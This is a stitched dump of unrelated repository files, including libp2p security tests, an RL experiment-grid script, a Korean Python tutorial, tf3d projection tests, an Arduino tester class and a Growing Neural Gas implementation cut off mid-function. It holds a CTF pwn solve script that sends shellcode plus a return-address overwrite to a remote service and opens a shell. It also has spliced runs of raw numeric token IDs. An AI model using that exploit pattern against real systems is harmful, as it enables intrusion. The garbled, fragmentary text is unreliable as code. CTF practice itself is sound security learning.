<reponame>g-r-a-n-t/py-libp2p import pytest from libp2p.crypto.rsa import create_new_key_pair from libp2p.security.insecure.transport import PLAINTEXT_PROTOCOL_ID, InsecureSession from libp2p.security.noise.transport import PROTOCOL_ID as NOISE_PROTOCOL_ID from libp2p.security.secio.transport import ID as SECIO_PROTOCOL_ID from libp2p.security.secure_session import SecureSession from libp2p.tools.factories import host_pair_factory initiator_key_pair = create_new_key_pair() noninitiator_key_pair = create_new_key_pair() async def perform_simple_test(assertion_func, security_protocol): async with host_pair_factory(security_protocol=security_protocol) as hosts: conn_0 = hosts[0].get_network().connections[hosts[1].get_id()] conn_1 = hosts[1].get_network().connections[hosts[0].get_id()] # Perform assertion assertion_func(conn_0.muxed_conn.secured_conn) assertion_func(conn_1.muxed_conn.secured_conn) @pytest.mark.trio @pytest.mark.parametrize( "security_protocol, transport_type", ( (PLAINTEXT_PROTOCOL_ID, InsecureSession), (SECIO_PROTOCOL_ID, SecureSession), (NOISE_PROTOCOL_ID, SecureSession), ), ) @pytest.mark.trio async def test_single_insecure_security_transport_succeeds( security_protocol, transport_type ): def assertion_func(conn): assert isinstance(conn, transport_type) await perform_simple_test(assertion_func, security_protocol) @pytest.mark.trio async def test_default_insecure_security(): def assertion_func(conn): assert isinstance(conn, InsecureSession) await perform_simple_test(assertion_func, None)

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sample_hpc_scripts/sac.py

yjl450/spinningup-drl-prototyping

0

199274

from spinup.utils.run_utils import ExperimentGrid from spinup.algos.sac_pytorch.sac_multistep_student import sac_multistep as function_to_run ## here make sure you import correct function import time """ always first change the experiment name first change it to a name that makes sense to your experiment, and make sure you import the correct function to run you can do a quick test on your own machine before you upload to hpc ||||||||||||||||||||||||||||||||| VVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV """ EXPERIMENT_NAME = 'SAC' """ always change the experiment name first """ # this is where your progress files will show up, it is a relative path # relative to this python file save_data_dir = '../data' if __name__ == '__main__': import argparse start_time = time.time() parser = argparse.ArgumentParser() parser.add_argument('--cpu', type=int, default=1) parser.add_argument('--setting', type=int, default=0) args = parser.parse_args() """ if you are adding more settings, try to add them in a consistent manner in terms of order for example, first learning rate, then batch size by default, wherever you put environment, the environment name will arrive at the end of the file name. seed will not show up by default. Your other settings show up in the file name in the same order as they are in the setting_names list also make sure in the .sh file you changed the number of jobs in the array if you can't count, then simply run this program and quickly stop it on your machine it will print out how many settings there are then change that line to: #SBATCH --array=0-<number of jobs - 1> """ setting_names = ['env_name', 'seed', "use_single_variant", 'multistep_k', 'save_model'] settings = [['Ant-v2'], [0], [False], [1], [True]] whether_add_to_savename = [True, False, False, False, False] setting_savename_prefix = ['', '', 's', 'k', ''] n_setting = len(setting_names) assert_correct = (len(settings) == n_setting and len(whether_add_to_savename)==n_setting and len(setting_savename_prefix)==n_setting) if not assert_correct: print("\nASSERTION FAILED, NUMBER OF SETTINGS DON'T MATCH!!!!\n") quit() ##########################################DON'T NEED TO MODIFY####################################### ##############SIMPLY DON'T MODIFY ANYTHING AFTER THIS LINE UNLESS YOU KNOW WHAT YOU ARE DOING######## ## this block will assign a certain set of setting to a "--setting" number ## basically, maps a set of settings to a hpc job array id total = 1 for sett in settings: total *= len(sett) print("##### TOTAL NUMBER OF JOBS: %d #####" % total) if args.setting >= (total): print("setting number is larger than total number of setting, quit now") quit() def get_setting(setting_number, total, settings, setting_names): indexes = [] ## this says which hyperparameter we use remainder = setting_number for setting in settings: division = int(total / len(setting)) index = int(remainder / division) remainder = remainder % division indexes.append(index) total = division actual_setting = {} for j in range(len(indexes)): actual_setting[setting_names[j]] = settings[j][indexes[j]] return indexes, actual_setting indexes, actual_setting = get_setting(args.setting, total, settings, setting_names) eg = ExperimentGrid(name=EXPERIMENT_NAME) # use eg.add to add parameters in the settings or add parameters tha apply to all jobs # we now automated this part, as long as you added settings correctly into the arrays at the start of this program # they should be added to experiment automatically for i in range(len(actual_setting)): setting_name = setting_names[i] if setting_name != 'env_name' and setting_name != 'seed': eg.add(setting_name, actual_setting[setting_name], setting_savename_prefix[i], whether_add_to_savename[i]) eg.add('env_name', actual_setting['env_name'], '', True) eg.add('seed', actual_setting['seed']) eg.run(function_to_run, num_cpu=args.cpu, data_dir=save_data_dir) print('\n###################################### GRID EXP END ######################################') print('total time for grid experiment:',time.time()-start_time)

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GRABCONCTF 2021/PWN/pwn2/pwn2_solve.py

yl-ang/CTF

0

68441

<gh_stars>0 from pwn import * r = remote('192.168.127.12', 1337) r.recvuntil('eat some ') stack_add = int(r.recvuntil('!\n', drop = True).decode(),16) payload = b'' # shellcraft.sh() is shell code, asm() compiles your shellcode and provides its binary string payload += asm(shellcraft.sh()) # print(shellcraft.sh()) payload += (294 - len(payload)) * b'A' payload += b'B' * 8 payload += p64(stack_add) r.sendline(payload) r.interactive() # flag = GrabCON{Y0U_g0t_Sh3ll_B4asics} # reference = https://github.com/datajerk/ctf-write-ups/blob/master/sunshinectf2020/speedrun/README.md#speedrun-03

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1.Study/2. with computer/4.Programming/2.Python/8. Python_intermediate/p_chapter04_02.py

jskim0406/Study

0

118034

# chapter 04-02 # 시퀀스 형 # 파이썬의 자료구조 형태 : 컨테이너형 / 플랫 또는 가변형 / 불변형 # 자료형 1. 컨테이너(Container) : 서로 다른 자료형을 담을 수 있음 (리스트, 튜플, collections.deque) # 컨테이너 ex) a = [3, 3.0, 'a', [1,2]] # 자료형 2. 플랫(Flat) : 한 개의 자료형을 담을 수 있음 (str, bytes, bytearray, array.array, memoryview) # 자료형 1. 가변 : 리스트, bytearray, array.array, memoryview, collections.deque) # 자료형 2. 불변 : 튜플, str, bytes # 1. 리스트 및 튜플 고급 ### 1) tuple - unpacking print(divmod(100,9)) print(divmod(*(100,9))) print(*divmod(100,9)) # tuple unpacking x,y,*z = range(10) print(x,y,z) x,y,*z = 1,2 print(x,y,z) x,y,*z = 1,2,3,4,5,6 print(x,y,z) print() print() ### 2) mutable vs immutable ### ex) list vs tuple => 둘 다 container지만, 가변 vs 불면 ### immutable : reassignment 불가 list_ = [1,2,3] tuple_ = (1,2,3) print(list_, tuple_) print('list_ id : ',id(list_), '/ tuple_ id : ',id(tuple_)) list_ = list_*2 tuple_ = tuple_*2 print(list_, tuple_) print('list_ id : ',id(list_), '/ tuple_ id : ',id(tuple_)) # list는 동일한 주소에 새로운 데이터로 재할당이 가능하지만 # tuple은 동일한 주소에 재할당이 불가능. 따라서, tuple은 새로운 공간에 새롭게 *=2 결과를 할당 list_ *= 2 tuple_ *= 2 print(list_, tuple_) print('list_ id : ',id(list_), '/ tuple_ id : ',id(tuple_)) print('\n') ### 3) sort vs sorted ##### reverse, key = len, key = str.lower(), key = func.. ### sorted : 정렬 후 새 객체 반환 ### sort : 정렬 in-place f_list = ['oragne', 'mango', 'papaya', 'strawberry'] print('sorted : ', sorted(f_list), '/ original : ', f_list) print('sorted : ', sorted(f_list, reverse=True), '/ original : ', f_list) print('sorted : ', sorted(f_list, key=len), '/ original : ', f_list) print('sorted : ', sorted(f_list, key=lambda x: x[-1]), '/ original : ', f_list) print('sort : ', f_list.sort(), '/ original(in-place됨) : ', f_list) print('sort : ', f_list.sort(reverse=True), '/ original(in-place됨) : ', f_list) print('sort : ', f_list.sort(key=len), '/ original(in-place됨) : ', f_list) print('sort : ', f_list.sort(key=lambda x: x[-1]), '/ original(in-place됨) : ', f_list)

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171, 240, 136, 143, 30393, 238, 135, 139, 429, 29897, 263, 353, 518, 29941, 29892, 29871, 29941, 29889, 29900, 29892, 525, 29874, 742, 518, 29896, 29892, 29906, 5262, 13, 29937, 29871, 31013, 238, 166, 143, 240, 155, 152, 29871, 29906, 29889, 29871, 240, 151, 143, 238, 161, 174, 29898, 29943, 5066, 29897, 584, 29871, 30877, 29871, 31789, 30708, 29871, 31013, 238, 166, 143, 240, 155, 152, 31286, 29871, 238, 142, 183, 31286, 29871, 30970, 29871, 239, 161, 139, 31966, 313, 710, 29892, 6262, 29892, 7023, 2378, 29892, 1409, 29889, 2378, 29892, 3370, 1493, 29897, 13, 13, 29937, 29871, 31013, 238, 166, 143, 240, 155, 152, 29871, 29896, 29889, 29871, 30903, 238, 182, 131, 584, 29871, 30826, 30784, 31177, 29892, 7023, 2378, 29892, 1409, 29889, 2378, 29892, 3370, 1493, 29892, 16250, 29889, 311, 802, 29897, 13, 29937, 29871, 31013, 238, 166, 143, 240, 155, 152, 29871, 29906, 29889, 29871, 238, 185, 139, 238, 182, 131, 584, 29871, 240, 141, 159, 240, 151, 143, 29892, 851, 29892, 6262, 13, 13, 13, 29937, 29871, 29896, 29889, 29871, 30826, 30784, 31177, 29871, 238, 179, 146, 29871, 240, 141, 159, 240, 151, 143, 29871, 31137, 237, 187, 140, 13, 2277, 29937, 29871, 29896, 29897, 18761, 448, 443, 4058, 292, 13, 2158, 29898, 4563, 1545, 29898, 29896, 29900, 29900, 29892, 29929, 876, 13, 2158, 29898, 4563, 1545, 10456, 29898, 29896, 29900, 29900, 29892, 29929, 4961, 13, 2158, 10456, 4563, 1545, 29898, 29896, 29900, 29900, 29892, 29929, 876, 396, 18761, 443, 4058, 292, 13, 13, 29916, 29892, 29891, 29892, 29930, 29920, 353, 3464, 29898, 29896, 29900, 29897, 13, 2158, 29898, 29916, 29892, 29891, 29892, 29920, 29897, 13, 29916, 29892, 29891, 29892, 29930, 29920, 353, 29871, 29896, 29892, 29906, 13, 2158, 29898, 29916, 29892, 29891, 29892, 29920, 29897, 13, 29916, 29892, 29891, 29892, 29930, 29920, 353, 29871, 29896, 29892, 29906, 29892, 29941, 29892, 29946, 29892, 29945, 29892, 29953, 13, 2158, 29898, 29916, 29892, 29891, 29892, 29920, 29897, 13, 13, 2158, 580, 13, 2158, 580, 13, 13, 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31189, 31054, 29871, 239, 134, 139, 30906, 239, 157, 183, 29871, 238, 144, 179, 30393, 31856, 30906, 29871, 31973, 240, 152, 163, 238, 142, 188, 30393, 29871, 30903, 238, 141, 168, 30944, 30811, 31826, 13, 29937, 18761, 31354, 29871, 31000, 31153, 30877, 29871, 30981, 31189, 31054, 29871, 31973, 240, 152, 163, 238, 142, 188, 30393, 29871, 238, 185, 139, 30903, 238, 141, 168, 29889, 29871, 238, 151, 179, 31197, 31093, 29892, 18761, 31354, 29871, 239, 134, 139, 30906, 239, 157, 183, 29871, 31334, 237, 179, 135, 31054, 29871, 239, 134, 139, 238, 164, 176, 237, 181, 143, 334, 29922, 29906, 29871, 237, 181, 179, 31906, 31517, 29871, 240, 152, 163, 238, 142, 188, 13, 1761, 29918, 334, 29922, 29871, 29906, 13, 23583, 29918, 334, 29922, 29871, 29906, 13, 2158, 29898, 1761, 3383, 18761, 19925, 13, 2158, 877, 1761, 29918, 1178, 584, 13420, 333, 29898, 1761, 29918, 511, 8207, 18761, 29918, 1178, 584, 13420, 333, 29898, 23583, 29918, 876, 13, 13, 2158, 28909, 29876, 1495, 13, 13, 2277, 29937, 29871, 29941, 29897, 2656, 7186, 12705, 13, 4136, 29937, 11837, 29892, 1820, 353, 7431, 29892, 1820, 353, 851, 29889, 13609, 3285, 1820, 353, 3653, 636, 13, 13, 2277, 29937, 12705, 584, 29871, 30852, 238, 163, 175, 29871, 240, 158, 135, 29871, 239, 134, 139, 29871, 237, 179, 160, 239, 181, 183, 29871, 238, 179, 155, 240, 156, 155, 13, 2277, 29937, 2656, 584, 29871, 30852, 238, 163, 175, 297, 29899, 6689, 13, 29888, 29918, 1761, 353, 6024, 272, 5889, 742, 525, 29885, 4524, 742, 525, 29886, 481, 9010, 742, 525, 303, 1610, 16344, 2033, 13, 13, 2158, 877, 24582, 584, 13420, 12705, 29898, 29888, 29918, 1761, 511, 8207, 2441, 584, 13420, 285, 29918, 1761, 29897, 13, 2158, 877, 24582, 584, 13420, 12705, 29898, 29888, 29918, 1761, 29892, 11837, 29922, 5574, 511, 8207, 2441, 584, 13420, 285, 29918, 1761, 29897, 13, 2158, 877, 24582, 584, 13420, 12705, 29898, 29888, 29918, 1761, 29892, 1820, 29922, 2435, 511, 8207, 2441, 584, 13420, 285, 29918, 1761, 29897, 13, 2158, 877, 24582, 584, 13420, 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python-objects_statements_and_data_structures-practice-master/even_in_range.py

valcal/python_practice

0

38837

<reponame>valcal/python_practice """ EVEN IN RANGE: Use range() to print all the even numbers from 0 to 10. """ for number in range(11): if number % 2 == 0: if number == 0: continue print(number)

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tf3d/utils/projections_test.py

deepneuralmachine/google-research

23,901

44671

<reponame>deepneuralmachine/google-research # coding=utf-8 # Copyright 2021 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Tests for tf3d.utils.projections.""" import numpy as np import tensorflow as tf from tf3d.utils import projections class ProjectionsTest(tf.test.TestCase): def _get_transformation_matrices(self): # pylint: disable=bad-whitespace rotate_world_to_camera = tf.constant([ [ 2.34773703e-04, -9.99944150e-01, -1.05634779e-02], [ 1.04494076e-02, 1.05653536e-02, -9.99889553e-01], [ 9.99945402e-01, 1.24365382e-04, 1.04513029e-02] ], dtype=tf.float32) translate_world_to_camera = tf.constant([0.05705245, -0.07546672, -0.26938692], dtype=tf.float32) tr_camera_to_image = tf.constant([ [ 721.53771973, 0. , 609.55932617], [ 0. , 721.53771973, 172.85400391], [ 0. , 0. , 1. ]], dtype=tf.float32) # pylint: enable=bad-whitespace return (rotate_world_to_camera, translate_world_to_camera, tr_camera_to_image) def test_to_camera_frame(self): num_points = 1000 original_wf_points = tf.random.uniform((num_points, 3), minval=-10.0, maxval=10.0) (rotate_world_to_camera, translate_world_to_camera, _) = self._get_transformation_matrices() cf_points = projections.to_camera_frame(original_wf_points, rotate_world_to_camera, translate_world_to_camera) computed_wf_points = projections.to_world_frame(cf_points, rotate_world_to_camera, translate_world_to_camera) self.assertAllClose(original_wf_points.numpy(), computed_wf_points.numpy()) self.assertEqual(original_wf_points.shape, (num_points, 3)) self.assertEqual(cf_points.shape, (num_points, 3)) self.assertEqual(computed_wf_points.shape, (num_points, 3)) def test_to_image_frame(self): height = 375 width = 1242 cf_points = tf.convert_to_tensor([ [0.0, 0.0, 10.0], [0.0, 0.2, 12.0], [0.0, -0.2, 20.0], [1.0, 0.0, 20.0], [-1.0, 0.0, 20.0], [0, 0, -10], [-1, 1, -20]], dtype=tf.float32) _, _, camera_intrinsics = self._get_transformation_matrices() image_points, within_image = projections.to_image_frame(cf_points, height, width, camera_intrinsics) np_image_points = image_points.numpy() np_within_image = within_image.numpy() self.assertEqual(np_within_image.sum(), 5) self.assertTrue((np_image_points[np_within_image] >= 0).all()) self.assertTrue((np_image_points[np_within_image, 0] < width).all()) self.assertTrue((np_image_points[np_within_image, 1] < height).all()) def test_image_frame_to_camera_frame(self): num_points = 10 height, width = 480, 640 image_frame = tf.concat([ tf.random.uniform( [num_points, 1], minval=0.0, maxval=width, dtype=tf.float32), tf.random.uniform( [num_points, 1], minval=0.0, maxval=height, dtype=tf.float32) ], axis=1) camera_intrinsics = tf.constant( [[500, 0., 320.], [0., 500., 120.], [0., 0., 1.]], dtype=tf.float32) camera_frame = projections.image_frame_to_camera_frame( image_frame=image_frame, camera_intrinsics=camera_intrinsics) self.assertEqual(camera_frame.shape, (num_points, 3)) def _test_create_image_from_rank1_values_unbatched(self, use_sparse_tensor): image_height, image_width = (240, 320) xx = tf.random.uniform((10,), minval=0, maxval=image_width, dtype=tf.int32) yy = tf.random.uniform((10,), minval=0, maxval=image_height, dtype=tf.int32) pixel_locations = tf.stack([yy, xx], axis=1) pixel_values = tf.ones((tf.shape(pixel_locations)[0],), dtype=tf.float32) created_image = projections.create_image_from_point_values_unbatched( pixel_locations=pixel_locations, pixel_values=pixel_values, image_height=image_height, image_width=image_width, default_value=255, use_sparse_tensor=use_sparse_tensor) self.assertAllClose(pixel_values.numpy(), np.ones((10,), dtype=np.uint8)) np_expected_image = np.full((image_height, image_width, 1), 255, np.uint8) np_yy = pixel_locations.numpy()[:, 0] np_xx = pixel_locations.numpy()[:, 1] np_expected_image[np_yy, np_xx, Ellipsis] = [1] self.assertAllClose(created_image.numpy(), np_expected_image) def _test_create_image_from_rank1_values(self, use_sparse_tensor): image_height, image_width = (240, 320) xx = tf.random.uniform((4, 10), minval=0, maxval=image_width, dtype=tf.int32) yy = tf.random.uniform((4, 10), minval=0, maxval=image_height, dtype=tf.int32) pixel_locations = tf.stack([yy, xx], axis=2) pixel_values = tf.random.uniform([4, 10, 3], minval=-2.0, maxval=2.0, dtype=tf.float32) num_valid_points = tf.constant([10, 3, 5, 7], dtype=tf.int32) created_image = projections.create_image_from_point_values( pixel_locations=pixel_locations, pixel_values=pixel_values, num_valid_points=num_valid_points, image_height=image_height, image_width=image_width, default_value=255.0, use_sparse_tensor=use_sparse_tensor) self.assertAllEqual(created_image.shape, np.array([4, 240, 320, 3])) def _test_create_image_from_rank2_values_unbatched(self, use_sparse_tensor): image_height, image_width = (240, 320) xx = tf.random.uniform((10,), minval=0, maxval=image_width, dtype=tf.int32) yy = tf.random.uniform((10,), minval=0, maxval=image_height, dtype=tf.int32) pixel_locations = tf.stack([yy, xx], axis=1) pixel_values = tf.random.uniform((10, 3), minval=0, maxval=255, dtype=tf.float32) created_image = projections.create_image_from_point_values_unbatched( pixel_locations=pixel_locations, pixel_values=pixel_values, image_height=image_height, image_width=image_width, default_value=0, use_sparse_tensor=use_sparse_tensor) self.assertEqual(created_image.shape, (image_height, image_width, 3)) np_pixel_locations = pixel_locations.numpy().round().astype(np.int32) np_yy = np_pixel_locations[:, 0] np_xx = np_pixel_locations[:, 1] self.assertAllClose( created_image.numpy()[np_yy, np_xx], pixel_values.numpy(), atol=1e-3) def test_create_image_rank1_unbatched_sparse(self): self._test_create_image_from_rank1_values_unbatched(use_sparse_tensor=True) def test_create_image_rank1_unbatched_scatter(self): self._test_create_image_from_rank1_values_unbatched(use_sparse_tensor=False) def test_create_image_rank1_sparse(self): self._test_create_image_from_rank1_values(use_sparse_tensor=True) def test_create_image_rank1_scatter(self): self._test_create_image_from_rank1_values(use_sparse_tensor=False) def test_create_image_rank2_unbatched_sparse(self): self._test_create_image_from_rank2_values_unbatched(use_sparse_tensor=True) def test_create_image_rank2_unbatched_scatter(self): self._test_create_image_from_rank2_values_unbatched(use_sparse_tensor=False) def _test_move_image_values_to_points(self, use_sparse_tensor): image_values = tf.constant( [[[1.0, 2.0], [3.0, 4.0]], [[5.0, 6.0], [7.0, 8.0]], [[9.0, 10.0], [11.0, 12.0]]], dtype=tf.float32) image_point_indices = tf.constant([[[1], [-1]], [[6], [-1]], [[0], [3]]], dtype=tf.int32) num_points = 10 point_values = projections.move_image_values_to_points( image_values=image_values, image_point_indices=image_point_indices, num_points=num_points, default_value=-1.0, use_sparse_tensor=use_sparse_tensor) expected_point_values = tf.constant( [[9.0, 10.0], [1.0, 2.0], [-1.0, -1.0], [11.0, 12.0], [-1.0, -1.0], [-1.0, -1.0], [5.0, 6.0], [-1.0, -1.0], [-1.0, -1.0], [-1.0, -1.0]], dtype=tf.float32) self.assertAllClose(point_values.numpy(), expected_point_values.numpy()) def test_move_image_values_to_points_sparse(self): self._test_move_image_values_to_points(use_sparse_tensor=True) def test_move_image_values_to_points_scatter(self): self._test_move_image_values_to_points(use_sparse_tensor=False) def test_update_pixel_locations_given_deformed_meshgrid(self): pixel_locations = tf.constant([[0, 1], [1, 1], [2, 0], [2, 2], [0, 2], [0, 1], [1, 1], [3, 3]], dtype=tf.int32) meshgrid_y = tf.constant([[1, 1, 1, 1, 1], [2, 2, 2, 2, 2], [3, 3, 3, 3, 3], [4, 4, 4, 4, 4]]) meshgrid_x = tf.constant([[1, 2, 3, 4, 5], [1, 2, 3, 4, 5], [1, 2, 3, 4, 5], [1, 2, 3, 4, 5]]) meshgrid_yx = tf.stack([meshgrid_y, meshgrid_x], axis=2) deformed_meshgrid_y = tf.constant([[-1, 3, 2, 2], [-1, -1, 3, 2], [1, -1, 2, -1]]) deformed_meshgrid_x = tf.constant([[2, -2, 2, -1], [-1, 3, 2, 3], [2, -1, 3, -1]]) deformed_meshgrid_yx = tf.stack([deformed_meshgrid_y, deformed_meshgrid_x], axis=2) updated_pixel_locations = ( projections.update_pixel_locations_given_deformed_meshgrid( pixel_locations=pixel_locations, original_meshgrid=meshgrid_yx, deformed_meshgrid=deformed_meshgrid_yx)) expected_updated_pixel_locations = tf.constant([[2, 0], [0, 2], [-1, -1], [-1, -1], [-1, -1], [2, 0], [0, 2], [-1, -1]], dtype=tf.int32) self.assertAllEqual(updated_pixel_locations.numpy(), expected_updated_pixel_locations.numpy()) def test_project_points_with_depth_visibility_check(self): point_positions = tf.constant([[-1.0, -1.0, 1.0], [-1.0, 1.0, 1.0], [1.0, -1.0, 1.0], [1.0, 1.0, 1.0]], dtype=tf.float32) camera_intrinsics = tf.constant([[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]], dtype=tf.float32) camera_rotation_matrix = tf.constant([[1.0, 0.0, 0.0], [0.0, 1.0, 0.0], [0.0, 0.0, 1.0]], dtype=tf.float32) camera_translation = tf.constant([5.0, 5.0, 0.0], dtype=tf.float32) image_width = 10 image_height = 10 depth_image_00 = tf.ones([5, 5, 1], dtype=tf.float32) * 1.0 depth_image_01 = tf.ones([5, 5, 1], dtype=tf.float32) * 2.0 depth_image_10 = tf.ones([5, 5, 1], dtype=tf.float32) * 1.0 depth_image_11 = tf.ones([5, 5, 1], dtype=tf.float32) * 4.0 depth_image = tf.concat([ tf.concat([depth_image_00, depth_image_01], axis=1), tf.concat([depth_image_10, depth_image_11], axis=1) ], axis=0) depth_threshold = 0.1 (points_in_image_frame, visibility) = projections.project_points_with_depth_visibility_check( point_positions=point_positions, camera_intrinsics=camera_intrinsics, camera_rotation_matrix=camera_rotation_matrix, camera_translation=camera_translation, image_width=image_width, image_height=image_height, depth_image=depth_image, depth_intrinsics=camera_intrinsics, depth_threshold=depth_threshold) self.assertAllEqual( visibility.numpy().astype(np.int32), np.array([1, 1, 0, 0])) self.assertAllEqual(points_in_image_frame.numpy(), np.array([[4, 4], [4, 6], [6, 4], [6, 6]])) if __name__ == '__main__': tf.test.main()

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518, 29953, 29892, 29871, 29953, 5262, 876, 13, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 29871, 15886, 29889, 1688, 29889, 3396, 580, 13, 2 ]

py/sam3x8e/tester.py

segrids/arduino_due

3

146028

<reponame>segrids/arduino_due<filename>py/sam3x8e/tester.py """ MIT License Copyright (c) 2021 by <NAME> <<EMAIL>> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Author: <NAME> """ from sys import stdout import time from ..hexen import * from .. import uart from ..apdu import Apdu from .programmer import Programmer def tester(port): from .uart import Serial serial = Serial(port) return Tester(serial) """ class Tester() Command interface to a sam3x8e target device. The target device is assumed to run a command handler for APDU instruction classes 'L' (Loader) | loader.c 'T' (Tester) | tester.c Extend methods of Programmer class by tests. """ class Tester(Programmer): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) def blink(self): """Toggle pin B27 repeatedly.""" _, status = self.apdu.sendreceive(b'B', cla=b'T') return status def set_led(self, value): _, status = self.apdu.sendreceive(b'l', bu8(value), cla=b'T') assert status == 0x9000 def pc(self): """Read the address of the uart_send_uint8 function. Useful to detect if program is executing in flash or RAM. """ res, status = self.apdu.sendreceive(b'W', b'', 4, cla=b'T') assert status == 0x9000 return ub32(res) ### Test SPI slave commands (Attention: MOSI to MOSI, MISO to MISO) def spi_open(self): res, status = self.apdu.sendreceive(cla=b'T', ins=b'o', res_len=0) assert status == 0x9000 def spi_send(self, data): res, status = self.apdu.sendreceive(cla=b'T', ins=b'w', data=data, res_len=0) assert status == 0x9000 def spi_receive(self, length): res, status = self.apdu.sendreceive(cla=b'T', ins=b'r', res_len=length) assert status == 0x9000 return res ### Test I2C slave commands def i2c_open(self): res, status = self.apdu.sendreceive(cla=b'T', ins=b'O', res_len=0) assert status == 0x9000 def i2c_send(self, data): res, status = self.apdu.sendreceive(cla=b'T', ins=b'W', data=data, res_len=0) assert status == 0x9000 def i2c_receive(self, length): res, status = self.apdu.sendreceive(cla=b'T', ins=b'R', res_len=length) assert status == 0x9000 return res

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GrowingNeuralGas.py

Kursula/GrowingNeuralGas

0

140760

""" This code implements the Growing Neural Gas algorithm that creates a graph that learns the topologies in the given input data. See e.g. followning documents references: https://papers.nips.cc/paper/893-a-growing-neural-gas-network-learns-topologies.pdf http://www.booru.net/download/MasterThesisProj.pdf """ from FeatureGraph.graph import Graph import numpy as np class GrowingNeuralGas: def __init__(self, feature_dim : int): self.feature_dim = feature_dim # GNG vertex counter self.n_vertex = 0 # Unique vertex naming counter self.name_counter = 0 # Init stuff self.__init_graph() def __get_unique_name(self, prefix : str = 'N') -> str: """ Generates unique names for GNG graph elements """ name = prefix + str(self.name_counter) self.name_counter += 1 return name def __init_graph(self) -> None: """ Initialize the GNG graph database """ self.graph = Graph() def __add_vertex(self, feature_vector : np.ndarray) -> str: """ Add new vertex to the GNG graph. Returns the vertex key. """ key = self.__get_unique_name() self.graph.add_vertex(key=key) self.graph.set_vertex_param(key=key, feature_vector=feature_vector, error=0) self.n_vertex += 1 return key def __add_edge(self, key_a : str, key_b : str) -> None: """ Add new edge to the GNG graph and initialize the GNG specific parameters """ self.graph.add_edge(key_a=key_a, key_b=key_b, bidirectional=True) self.graph.set_edge_param(key_a=key_a, key_b=key_b, age=0) def __delete_vertex(self, key : str) -> None: """ Delete vertex and all edges associated to it. """ self.graph.delete_vertex(key) self.n_vertex -= 1 def __delete_edge(self, key_a : str, key_b : str) -> None: self.graph.delete_edge(key_a, key_b, bidirectional=True) def __get_vertex_param(self, key, param_key) -> any: value = self.graph.get_vertex_param(key=key, param_key=param_key) return value def __get_edge_param(self, key_a, key_b, param_key) -> any: value = self.graph.get_edge_param(key_a=key_a, key_b=key_b, param_key=param_key) return value def __set_vertex_param(self, key, **kwargs) -> None: self.graph.set_vertex_param(key=key, **kwargs) def __set_edge_param(self, key_a, key_b, **kwargs) -> None: self.graph.set_edge_param(key_a=key_a, key_b=key_b, **kwargs) def __find_nearest_vertices(self, ref_vect : np.ndarray, n_vertex : int = 2) -> list: # Get all vertex keys vertices = self.graph.get_vertices() # Calculate all distances distances = [] for vertex in vertices: vertex_vect = self.__get_vertex_param(key=vertex, param_key='feature_vector') dist = np.linalg.norm(vertex_vect - ref_vect) distances.append([vertex, dist]) distances = sorted(distances, key=lambda x: x[1]) return distances[:n_vertex] def __get_neighbor_vertices(self, key) -> list: neighbors = self.graph.get_edges(key)['out'] return neighbors def __delete_expired_edges(self, age_limit : int) -> None: vertices = self.graph.get_vertices() for key_a in vertices: neighbors = self.graph.get_edges(key_a)['out'] for key_b in neighbors: edge_age = self.__get_edge_param(key_a, key_b, 'age') if edge_age > age_limit: self.graph.delete_edge(key_a, key_b, bidirectional=True) def __delete_unconnected_vertices(self) -> None: vertices = self.graph.get_vertices() for key in vertices: neighbors = self.graph.get_edges(key)['out'] if len(neighbors) == 0: self.graph.delete_vertex(key) self.n_vertex -= 1 def __find_largest_error_vertex(self) -> str: vertices = self.graph.get_vertices() max_err_val = 0 max_err_key = '' for key in vertices: error = self.__get_vertex_param(key=key, param_key='error') if error > max_err_val: max_err_val = error max_err_key = key return [max_err_key, max_err_val] def __find_largest_error_neighbor(self, key) -> str: neighbors = self.graph.get_edges(key)['out'] max_err_val = 0 max_err_key = '' for key in neighbors: error = self.__get_vertex_param(key=key, param_key='error') if error > max_err_val: max_err_val = error max_err_key = key return [max_err_key, max_err_val] def __scale_vertex_error_values(self, attenuation : float) -> None: vertices = self.graph.get_vertices() for key in vertices: error = self.__get_vertex_param(key, 'error') error -= attenuation * error self.__set_vertex_param(key, error=error) def get_graph(self): return self.graph def fit(self, dataset : np.ndarray, iterations : int, max_vertex : int, winner_upd_coeff : float = 0.05, neighbor_upd_coeff : float = 0.0005, edge_age_limit : int = 100, vertex_insert_interval : int = 100, vertex_insert_error_scaling : float = 0.5, error_attenuation : float = 0.0005, plot_interval : int = 100, plot_function : any = None) -> None : n_pts = dataset.shape[0] for iteration in range(1, iterations + 1): if self.n_vertex < 2: # Initialize graph # Add the two starting vertices and edge between them key_a = self.__add_vertex(feature_vector=np.random.rand(self.feature_dim)) key_b = self.__add_vertex(feature_vector=np.random.rand(self.feature_dim)) self.__add_edge(key_a, key_b) # Plot stuff if (plot_interval is not None) and \ (iteration % plot_interval == 0) and \ (plot_function is not None): plot_function(dataset, self.graph, iteration) # Get random data point to be used in GNG graph fitting. idx = np.random.randint(n_pts) data_vect = dataset[idx] # Find two nearest vertices from the 